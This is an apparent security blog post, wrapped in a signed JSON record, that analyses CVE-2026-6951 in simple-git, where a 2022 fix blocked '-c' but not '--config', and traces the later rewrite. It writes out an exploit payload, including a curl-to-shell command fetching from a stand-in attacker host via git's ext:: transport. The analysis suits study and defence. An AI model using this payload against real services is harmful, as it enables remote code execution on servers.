-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"On November 12, 2022, Steve King committed a fix for CVE-2022-25912 to simple-git. The fix was a TypeScript plugin called `blockUnsafeOperationsPlugin`, and inside it was a five-line function called `isConfigSwitch`. The function had one job: return `true` if and only if its argument, trimmed and lowercased, equaled the literal string `-c`. Git accepts that switch in two equivalent spellings, `-c x=y` and `--config x=y`. The plugin recognized one of them. CVE-2026-6951 is the long form of `-c`, sitting unpatched in the same repository for 1,240 days.\n\n## The fix was a string equality check\n\nLook at commit `6b3c631e` from November 12, 2022. The whole plugin is forty-one lines, and the only function deciding whether an argument is a config override is this one:\n\n```typescript\nfunction isConfigSwitch(arg: string) {\n return arg.trim().toLowerCase() === '-c';\n}\n```\n\nThe plugin's main loop walks every argument that simple-git will hand to the spawned `git` child process. For each one, it calls `isConfigSwitch(current)` and then tests the next argument against `/^\\s*protocol(.[a-z]+)?.allow/`. If both match, the spawn is aborted. If either does not, the spawn proceeds.\n\nThe arg pair the plugin is looking for is `-c protocol.ext.allow=always`. That is the form Snyk reported in CVE-2022-25912: a caller who got user-controlled values into simple-git's variadic options array could append `-c protocol.ext.allow=always` to an otherwise innocuous `git clone`, flip git's protocol allowlist for the duration of that single command, and finish the chain with an `ext::` clone source that runs an arbitrary shell command. The Snyk advisory SNYK-JS-SIMPLEGIT-3112221 described the primitive in plain text. The fix matched one string.\n\nGit's own option parser does not care which spelling the caller used. From `git help cli`, `-c =` \"passes a configuration parameter to the command. The value given will override values from configuration files. The `` is expected in the same format as listed by `git config` (subkeys separated by dots).\" From `git help clone`, `--config =` sets \"a configuration variable in the newly-created repository; this takes effect immediately after the repository is initialized, but before the remote history is fetched or any files checked out.\"\n\nTwo flags. Same option. `git -c protocol.ext.allow=always clone ` and `git clone --config protocol.ext.allow=always ` are interchangeable as far as the security boundary is concerned. The 2022 patch matched the spelling. Git matched the option behind it.\n\n## What the bypass looks like\n\nThe exploit primitive is one line of attacker JSON once the consumer is shaped the way the simple-git README shows it. The library's `clone` signature accepts a variadic options array:\n\n```typescript\ngit.clone(repoUrl, targetDir, options);\n```\n\nA consumer that takes any part of `options` from untrusted input is the consumer this CVE describes. There are many: REST APIs that proxy git operations on behalf of a tenant, CI runners that take per-job clone configuration from a request body, build-as-a-service products that let a customer specify their own clone parameters. The vulnerable shape, in fewer than ten lines:\n\n```typescript\napp.post('/clone', async (req, res) => {\n const { repo, opts } = req.body;\n await simpleGit().clone(repo, '/tmp/work', opts);\n});\n```\n\nThe attacker sends:\n\n```json\n{\n \"repo\": \"ext::sh -c 'curl evil.tld/x | sh'\",\n \"opts\": [\"--config\", \"protocol.ext.allow=always\"]\n}\n```\n\nsimple-git assembles the spawn arguments. The plugin walks them. `isConfigSwitch('--config')` returns `false`, because `'--config'` is not equal to `'-c'`. The plugin's protocol-allow check never runs. Git is spawned as:\n\n```bash\ngit clone --config protocol.ext.allow=always \"ext::sh -c 'curl evil.tld/x | sh'\" /tmp/work\n```\n\n`--config protocol.ext.allow=always` overrides git's default `protocol.allow=user` policy for the duration of the clone, unblocking the `ext::` transport. `git-remote-ext` then runs the literal command between `ext::` and the URL separator through `/bin/sh -c`. The attacker's shell command executes inside the simple-git process tree. The clone never reaches the network for a real repository, because there is no real repository.\n\nThis is the entire chain. There is no PoC repo to clone because there is no PoC needed. The CVE description names the primitive, the patch diff is on GitHub, and `git-remote-ext` has been the canonical Node-RCE primitive in simple-git's threat model since 2022. Snyk published the original advisory four years ago. The bypass is a literal substitution: replace `-c` with `--config`.\n\n## Three iterations before the rewrite\n\nThe story is not that the 2022 fix was wrong on day one. The story is what happened to it over the next three and a half years.\n\n| Date | Commit | Change |\n|---|---|---|\n| 2022-11-12 | `6b3c631` | Original CVE-2022-25912 fix. `isConfigSwitch === '-c'`. Five-line plugin matches one regex against the next arg. |\n| 2026-02-23 | `f704208` | \"In extension to CVE-2022-25912\": switch the `protocol.allow` regex to case-insensitive. Credited to @CodeAnt-AI-Security. |\n| 2026-03-08 | `e253a0d` | \"Fix/block unsafe 2603\": extend `preventUnsafeConfig` from five regexes to eleven. Adds `core.fsmonitor`, `core.gitProxy`, `core.hooksPath`, and others. |\n| 2026-04-05 | `2e1f51c` | \"Git argument parsing (#1141)\": replace the entire plugin with `@simple-git/argv-parser`. Now matches `-c`, `--config`, and `--config-env`. |\n| 2026-04-12 | tag `simple-git@3.36.0` | The version range named in the CVE record. |\n\nThree patches landed on the same one-function filter over four months. Each one added another regex, or made an existing one tolerant of upper-case letters, or named another `core.X` variant. None of them touched the function that decided whether the previous arg was a config switch. `isConfigSwitch` survived every iteration because every iteration treated each new attack vector as a new string to add, not as evidence the design was wrong.\n\nThe April 2026 commit message is *Git argument parsing (#1141)*. It does not mention CVE-2022-25912. The changeset for `@simple-git/argv-parser@1.0.0` describes the change as follows:\n\n> Enhances scanning of arguments before passing on to the spawned `child_process`. Caters for `-c` flags prefixing the `git` task (used when setting global inline config) and suffixing with either `-c`, `--config` or `--config-env`. Detects `git config` operations that write to the configuration.\n\nThe maintainer named the bug class out loud, in a changeset note, three years and five months after the first fix. The CVE record for that named class was assigned six weeks later.\n\n## The replacement is an argv parser\n\nThe new `analyse-config.ts` collects every config override the way git itself parses them, and the predicate that decides \"is this flag a config override\" finally looks like a switch statement instead of a string equality check:\n\n```typescript\nfunction detectConfigOverrideScope({ name }: Flag): ConfigScope | void {\n if (name === '-c' || name === '--config') {\n return 'inline';\n }\n if (name === '--config-env') {\n return 'env';\n }\n}\n```\n\nThe function is still pattern-matching strings. There is no semantic resolution of git's actual CLI grammar happening at this layer. But the strings it is matching are now the full set git itself recognizes for inline config, and the parser around it understands that `-c x=y`, `-c x=y` cluster forms, `--config x=y` (next token), and `--config=x=y` (joined-by-equals) all resolve to the same logical override before the policy check runs. The textual blocklist has been replaced by a parser that resolves equivalences first. That is the correct shape. It took 1,240 days to arrive at it.\n\nThe new package also blocks a longer list of config keys than the original plugin tracked. `core.editor`, `credential.helper`, `diff.command`, `diff.textconv`, `filter.clean`, `filter.smudge`, `gpg.program`, `init.templateDir`, `merge.driver`, `mergetool.path`, `mergetool.cmd`, `remote.receivepack`, `remote.uploadpack`, `sequence.editor`. Each of those is another way an attacker who reaches simple-git's options array can convince git to run an arbitrary binary. The 2022 plugin guarded one of them by name. The 2026 plugin guards fifteen, and it does so behind an argv parser that resolves the wrapper-form ambiguities first.\n\n## The substrate held\n\nsimple-git's `blockUnsafeOperationsPlugin` is design-debt-driver in its tightest, most legible form. The substrate is a one-function string filter sitting between user-controlled git arguments and git's own option parser. The filter's design assumed it could enumerate the dangerous spellings. Every patch added more spellings. The fifth CVE finally arrived at the question the second one should have answered: why is the wrapper grepping argv strings when the wrapped binary has a full CLI grammar?\n\nThis is the same shape as the ActiveMQ BrokerView deny list, where CVE-2026-34197 named one entry missing from a `Set.of(...)` literal and CVE-2026-40466 named [another entry from the same literal](/posts/activemq-cve-2026-40466-row-two) twelve months later. Enumerating bad inputs is a design pattern that always has another row to add. The fix is to ask what the inputs are instances of and gate the class, not to keep extending the list.\n\nThe 2022 fix is dated November 12, 2022. The April 2026 rewrite landed on a Sunday afternoon, commit time 21:21 BST. Between those two timestamps, every Node.js backend that took user-controlled values into simple-git's options array had the same RCE primitive available. The instance count of how many times this was exploited in the wild is not in the public record. The substrate is.\n\nPoC: [steveukx/git-js](https://github.com/steveukx/git-js) (the simple-git source repository; see commit `6b3c631e` for the original 2022 fix, `2e1f51c` for the 2026 rewrite).","closing_line":"The name of the new component is `@simple-git/argv-parser`. The name of the old one was `isConfigSwitch`.","hook_md":"On November 12, 2022, Steve King committed a fix for CVE-2022-25912 to simple-git. The fix was a TypeScript plugin called `blockUnsafeOperationsPlugin`, and inside it was a five-line function called `isConfigSwitch`. The function had one job: return `true` if and only if its argument, trimmed and lowercased, equaled the literal string `-c`. Git accepts that switch in two equivalent spellings, `-c x=y` and `--config x=y`. The plugin recognized one of them. CVE-2026-6951 is the long form of `-c`, sitting unpatched in the same repository for 1,240 days.","post_id":318,"slug":"simple-git-cve-2026-6951-isconfigswitch-equals-dash-c","title":"CVE-2026-6951: simple-git's `isConfigSwitch` Returned True for One String","type":"initial","unreadable_sentence":"The 2022 patch matched the spelling. Git matched the option behind it."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCahxw9QAKCRDeZjl4jgkQ JosxAQC3K1+dtUxKKRApqAXJ+mBqiYiZGZ7KD0grnsUYEIycnAEAgPGNebfHRM7k b2HOYZRbO+nzLw+Q54UkQvvBM1S9Kw0= =58GC -----END PGP SIGNATURE-----